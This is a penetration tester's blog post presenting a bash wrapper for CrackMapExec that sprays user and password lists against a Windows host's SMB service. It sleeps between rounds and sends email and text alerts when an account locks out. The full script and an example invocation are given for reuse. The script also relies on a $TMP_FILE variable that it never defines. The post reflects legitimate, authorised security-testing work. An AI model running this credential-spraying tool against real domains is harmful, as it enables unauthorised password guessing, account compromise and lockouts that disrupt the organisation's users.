Not too long ago I worked up an SMB credential spraying script using rpcclient. I haven’t really been using this much as I tend to favor byt3bl33d3r’s CrackMapExec when attacking SMB. On a recent engagement, I accidentally locked out a good number of Windows domain accounts during some SMB credential spraying. I usually take precautions by using a large sleep time but due to a large Lockout Observation Window value I put the hurt on some accounts. Not my best moment. I’m still new to this game so I won’t flog myself too hard.
With all that said, I worked up a wrapper for CrackMapExec that will limit account lockouts. As in, only a single account will be locked out in the event that I guess an incorrect amount of time to sleep between authentication attempts.
You can view a target domain’s account settings using the net command.
net accounts [/domain] C:\Users\foobarbbq>net accounts Force user logoff how long after time expires?: Never Minimum password age (days): 0 Maximum password age (days): 42 Minimum password length: 0 Length of password history maintained: None Lockout threshold: Never Lockout duration (minutes): 30 Lockout observation window (minutes): 30 Computer role: MILKSHAKE The command completed successfully.
Additionally, I worked in some email notifications to alert me if/when this happens so I can notify my client of the lockout. Granted, most accounts unlock themselves after 30 or so minutes (Lockout Duration) but I still think it’s a good idea to effectively communicate issues that may hurt an organization’s productivity. Making money and all that is kind of important, right?
One thing to note about the use of email from your attacking platform is that you most likely won’t have access to an outbound SMTP server. To get around this you will probably want to configure a local email transport service. I use postfix in conjunction with a gmail account. A good resource for setting this up can be found at the following link.
Configure Postfix to Send Mail Using Gmail and Google Apps on Debian or Ubuntu
The CrackMapExec wrapper I worked up takes the following as input: (1) a host to attack, (2) list of users, (3) list of passwords, and (4) a number of seconds to sleep between attacks.
Call the script in the following manner.
./smb_cme_credspray.sh 192.168.0.209 /tmp/users.txt /tmp/passwords.txt 2730
You can also find this in my Gists at github at https://gist.github.com/ryan-wendel/acbb9aaa6d159b55311b1fd43c85f45b.
#!/bin/bash HOST="$1" USERS="$2" PASSWORDS="$3" SLEEP="$4" EMAIL="ryan.wendel@foobarbbq.com" TEXT="7205551234@mms.att.net" # 45.5 minutes = 2730 seconds print_help() { echo "Usage: $(basename $0) <host/ip> <user file> <password file> <sleep seconds>" } if [ -z "${HOST}" ]; then echo "Error: Provide me a host/ip" echo print_help exit 1 fi if [ -z "$USERS" ]; then echo "Error: Provide me with a users file" print_help exit 2 elif [ ! -f "$USERS" ]; then echo "Error: Users file doesn't exist" print_help exit 3 fi if [ -z "$PASSWORDS" ]; then echo "Error: Provide me with a password file" print_help exit 4 elif [ ! -f "$PASSWORDS" ]; then echo "Error: Passwords file doesn't exist" print_help exit 5 fi if [ -z "${SLEEP}" ]; then echo "Error: Provide me with number of seconds to sleep" echo print_help exit 6 fi if [[ ! "$SLEEP" =~ ^[0-9]+$ ]]; then echo "Error: Provide me with an integer number of seconds to sleep" echo print_help exit 7 fi > $TMP_FILE COUNT="0" while read PASS; do while read USER; do cme smb $HOST -u $USER -p $PASS | tee -a $TMP_FILE COUNT=$(grep -c LOCKED $TMP_FILE) if [[ $COUNT -gt 0 ]]; then grep LOCKED $TMP_FILE | mail -s "Account Lockout Issues" $EMAIL echo "Account lockout issues. Check your email" | mail -s "Account Lockout Issues" $TEXT exit fi done < <(cat $USERS) echo "Sleeping $SLEEP seconds" sleep $SLEEP done < <(cat $PASSWORDS) rm -f $TMP_FILE